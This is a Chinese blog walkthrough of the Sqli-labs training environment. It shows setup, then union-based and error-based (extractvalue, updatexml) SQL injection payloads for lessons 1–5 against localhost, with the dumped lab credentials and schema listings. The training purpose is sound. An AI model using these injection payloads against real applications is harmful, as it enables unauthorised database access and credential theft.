zoukankan      html  css  js  c++  java
  • SQL注入笔记(SQL-labs环境)

    一、SQL注入原理:

      SQL注入就是用户输入的SQL语句到参数中,最终达到欺骗服务器执行恶意的SQL命令。

      执行SQL注入的语句:

    select * from 数据库 where id =' 1' and 1=1 -- ' ;  //字符型 输入 1' and 1=1 -- 

    select * from 数据库 where id = 1 and 1=1 -- ;  //数字型 输入1 and 1=1 --

      字符型需要闭合掉单引号,两者都是通过--注释掉后面的代码,执行and 1=1 语句,可以配合用and 1=2 来验证语句是否执行。 

    二、Sqli-labs下载

    Sqli-labs是一个印度程序员写的,用来学习sql注入的一个游戏教程。博客地址为:

    http://dummy2dummies.blogspot.hk/,博客当中有一些示例,国内很多博客内容都是从该作者的博客翻译过来的。同时该作者也发了一套相关的视频,在youtube上可以查看。ps:印度人讲英语口音太重了。。。。凑合着听懂点。

    此处考虑到有些朋友不会FQ,遂分享到国内地址。

    http://pan.baidu.com/s/1bo2L1JT

    Ps:不想看视频的可以直接忽略视频,口音实在脑门疼,此处本来想自己录视频的,但现在来看,时间比较有限

    Sqli-labs项目地址---Github获取:https://github.com/Audi-1/sqli-labs

    (考虑到安全性问题,就不搬运这个了)

    三、Sqli-labs安装

    需要安装以下环境

    1. apache+mysql+php
    2. Tomcat+mysql+java(部分关卡需要)

      如果可以的话,推荐在windows和linux下分别安装:

      Windows下可以用wamp、phpstudy、apmserv等直接安装,linux下可在网上搜索教程进行安装。例如ubuntu下,新手基本靠软件中心和apt-get 进行安装。这里就不赘述环境的安装了。

      我的测试环境是windows下用wamp直接搭建的,linux平台用ubuntu14.04,apache+mysql+php

      同时,在后面的几个关卡中,需要用到tomcat+java+mysql的服务器,此处因已经安装apache+mysql+php,所以我们需要安装tomcat+jre+java连接mysql的jar,具体过程不详细讲解。

      Sqli-labs安装

      将之前下载的源码解压到web目录下,linux的apache为 /var/www/html下,windows下的wamp解压在www目录下。

      修改sql-connections/db-creds.inc文件当中的mysql账号密码

      将user和pass修改你的mysql 的账号和密码,访问127.0.0.1的页面,点击

      进行安装数据库的创建,至此,安装结束。我们就可以开始游戏了。 

    四、Sqli-labs通关

    在源码中添加两行代码便于调试

    1 echo "有效输入:".$id."<br>";
    2 echo "执行的MySQL语句为:"."$sql"."<br>";

                

         

    Less-1:字符型SQL注入漏洞,直接注入:

    1、判断注入点:
    输入:http://localhost/sqli-labs/Less-1/?id=1' and 1=1 --+
    执行的MySQL语句为:SELECT * FROM users WHERE id='1' and 1=1 -- 'LIMIT 0,1
    2、查询列数:
    order by 方法查询:
    输入:http://localhost/sqli-labs/Less-1/?id=1' order by 3 --+
    执行的MySQL语句为:SELECT * FROM users WHERE id='1' order by 3 -- ' LIMIT 0,1

    输入:http://localhost/sqli-labs/Less-1/?id=1' order by 4--+
    报错,说明表格为3列。
    union方法查询:

    输入:http://localhost/sqli-labs/Less-1/?id=1' union select null,null,null '
    执行的MySQL语句为:SELECT * FROM users WHERE id='1' union select null,null,null '' LIMIT 0,1

    http://localhost/sqli-labs/Less-1/?id=1' union select 1,2,3 '
    执行的MySQL语句为:SELECT * FROM users WHERE id='1' union select 1,2,3'' LIMIT 0,1

    http://localhost/sqli-labs/Less-1/?id=1' union select 1,2,3 and '1'=1'
    执行的MySQL语句为:SELECT * FROM users WHERE id='1' union select 1,2,3 and '1'=1'' LIMIT 0,1

    3、查询数据库信息
    先介绍几个函数:
      (1)version():查看数据库版本
      (2)user():查看当前用户
      (3)database():查看使用的数据库
      (4) limit :limit子句来分批获取所有数据
      (5)group_concat():一次性获取数据库信息。

    http://localhost/sqli-labs/Less-1/?id=1' and 1=2 union select null,user(),database() ' //使用id=1' and 1=2 或者id=-1出错爆版本
    执行的MySQL语句为:SELECT * FROM users WHERE id='1' and 1=2 union select null,user(),database() '' LIMIT 0,1

    查询数据库名信息的语句:
    http://localhost/sqli-labs/Less-1/?id=1' and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+

    4、爆数据:
    security:0x7365637572697479
    user:0x7573657273
    输入:http://localhost/sqli-labs/Less-1/?id=1' and 1=2 union select null,group_concat(column_name),null from information_schema.columns where table_name=0x7573657273 and '1' = '1


    输入:http://localhost/sqli-labs/Less-1/?id=1' and 1=2 union select null,username,password from users --+


    group_concat用法:
    group_concat([DISTINCT] 要连接的字段 [Order BY ASC/DESC 排序字段] [Separator ‘分隔符’])
    select id,group_concat(username separator" ; " ) from users; //group by id

    5、查询所有数据库 information_schema -> schemata -> schema_name
    SQL语句: select schema_name from information_schema.schemata;
    http://127.0.0.1/sqli-labs/Less-1/?id=861' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+

    6、查询所有表(security)information_schema -> tables -> table_name table_schema
    SQL语句查询数据表:
    select group_concat(table_name) from information_schema.tables where table_schema="security";

    可以用十六进制也可以直接用字符:
    http://127.0.0.1/sqli-labs/Less-1/?id=861' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479),3 --+

    http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1, (select group_concat(table_name) from information_schema.tables where table_schema="security") ,database() --+

    http://localhost/sqli-labs/less-1/?id=1' and 1=2 union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema =database() ) --+

    7、获取字段名:
    http://localhost/sqli-labs/Less-1/?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x75736572),3 --+

    限制获取security库,user表的字段
    localhost//sqli-labs/less-1/?id=-1' and 1=1 union select 1,database(), (select group_concat(column_name) from information_schema.columns where table_name="users" and table_schema ="security" ) --+

    8、获取数据(显示users里面的用户和密码)
    http://localhost/sqli-labs/Less-1/?id=-1' union select 1,(select group_concat(0x5c,username,0x5c,password) from users),3 --+

    --------------------完成了------------------------------

    总结:
    表名:table_name;
    字段名(列名):column_name
    爆值:group_concat(username,0x3a,passdword)

    ASCII:
    0x3a(:) 0x5c()

    练习第2次:
    查询库:
    http://localhost/sqli-labs/Less-1/?id=-1' union select 1,database(),(select group_concat(schema_name) from information_schema.schemata) --+
    Your Login name:security
    Your Password:information_schema,aaa,challenges,discuz,dvwa,fendo,jokeDB,mysql,performance_schema,security,test,user
    查询表:
    http://localhost/sqli-labs/Less-1/?id=-1' union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema ="security") --+
    Your Login name:security
    Your Password:emails,referers,uagents,users

    查询列:
    http://localhost/sqli-labs/Less-1/?id=-1' union select 1,database(),(select group_concat(column_name) from information_schema.columns where table_name ="users" and TABLE_SCHEMA = "security" ) --+
    Your Login name:security
    Your Password:id,username,password
    综合:数据库:security 表有:emails,referers,uagents,users 数据列:id,username,password
    查询数据:
    http://localhost/sqli-labs/Less-1/?id=-1' union select 1,database(),(select group_concat(username,"||",password) from users ) --+
    Your Login name:security
    Your Password:Dumb||Dumb,Angelina||I-kill-you,Dummy||p@ssword,secure||crappy,stupid||stupidity,superman||genious,batman||mob!le,admin||admin,admin1||admin1,admin2||admin2,admin3||admin3,dhakkan||dumbo,admin4||admin4


    Less-2:
    数字型SQL注入漏洞,直接注入:
    http://localhost/sqli-labs/Less-2/?id=-1 and 1=1 union select 1,database(),(select group_concat(username,"||",password) from users) --+
    Your Login name:security
    Your Password:Dumb||Dumb,Angelina||I-kill-you,Dummy||p@ssword,secure||crappy,stupid||stupidity,superman||genious,batman||mob!le,admin||admin,admin1||admin1,admin2||admin2,admin3||admin3,dhakkan||dumbo,admin4||admin4

    Less-3:
    SELECT * FROM users WHERE id=('1') and ('1'='2')
    带括号的字符型SQL注入漏洞,直接注入:
    http://localhost/sqli-labs/Less-3/?id=-1') union select 1,database(),(select group_concat(username,password) from users ) --+


    Less-4:
    使用")闭合。
    http://localhost/sqli-labs/Less-4/?id=-1") union select 1,database(),(select group_concat(username,"||",password) from users ) --+

    Less-5:
    报错注入函数网站:http://www.cnblogs.com/Dleo/p/5493782.html
    找注入点:
    http://localhost/sqli-labs/Less-5/?id=1' and 1=2 --+
    通过报错注入函数来显示:
    http://localhost/sqli-labs/Less-5/?id=1' and (extractvalue(1,concat("||",(select database() ))) ) --+
    报出数据:(通过调整limit中的第一个参数,来调整读取的数据行)
    http://localhost/sqli-labs/Less-5/?id=1' and (extractvalue(1,concat("->>",(select concat(username,"||",password) from users limit 3,1 ))) ) --+

    SQL命令行中:
    select * from users where id=1 and (ExtractValue(1,concat("||",(select database() ))) );
    显示:ERROR 1105 (HY000): XPATH syntax error: '||security'
    ExtractValue,查询文档的函数
    EXTRACTVALUE (XML_document, XPath_string);
    第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
    第二个参数:XPath_string (Xpath格式的字符串).
    作用:从目标XML中返回包含所查询值的字符串
    例如:select * from users where id=1 and (ExtractValue(2,concat("||",(select database() ))) );
    注入方法:and extractvalue(1, concat(0x5c, (SQL语句)))

    查database():
    select * from users where id =1 and (ExtractValue(1,concat( '>',(select database())) ) );
    查user():
    select * from users where id =1 and (ExtractValue(id,concat( '>',(select user())) ) );
    查version():
    select * from users where id =1 and (ExtractValue(id,concat( '>',(select version())) ) );

    查询数据:
    http://localhost/sqli-labs/Less-5/?id=1' and (ExtractValue(1,concat('>',(select concat(username,"||",password) from users limit 2,1 )))) --+

    Updatexml 查询:
    用法:1=(updatexml(1,concat(">",(SQL语句)),1))
    id = 1 and (updatexml(0x3a,concat(1,(select user())),1))

    select * from users where id =1 and (updatexml(1,concat(">",(select version())),1 ));

    select * from users where id =1 and (updatexml(1,concat(">",(select database())),1));

    注意:当mysql版本>5.5.53时,无法利用exp()函数

     参考:

    关于SQL注入的五大报错注入函数

    SQL注入之Sqli-labs系列第一关

    使用exp函数进行SQL报错注入


  • 相关阅读:
    ZeptoLab Code Rush 2015
    UVa 10048 Audiophobia【Floyd】
    POJ 1847 Tram【Floyd】
    UVa 247 Calling Circles【传递闭包】
    UVa 1395 Slim Span【最小生成树】
    HDU 4006 The kth great number【优先队列】
    UVa 674 Coin Change【记忆化搜索】
    UVa 10285 Longest Run on a Snowboard【记忆化搜索】
    【NOIP2016提高A组模拟9.28】求导
    【NOIP2012模拟10.9】电费结算
  • 原文地址:https://www.cnblogs.com/Yable/p/10820164.html
Copyright © 2011-2022 走看看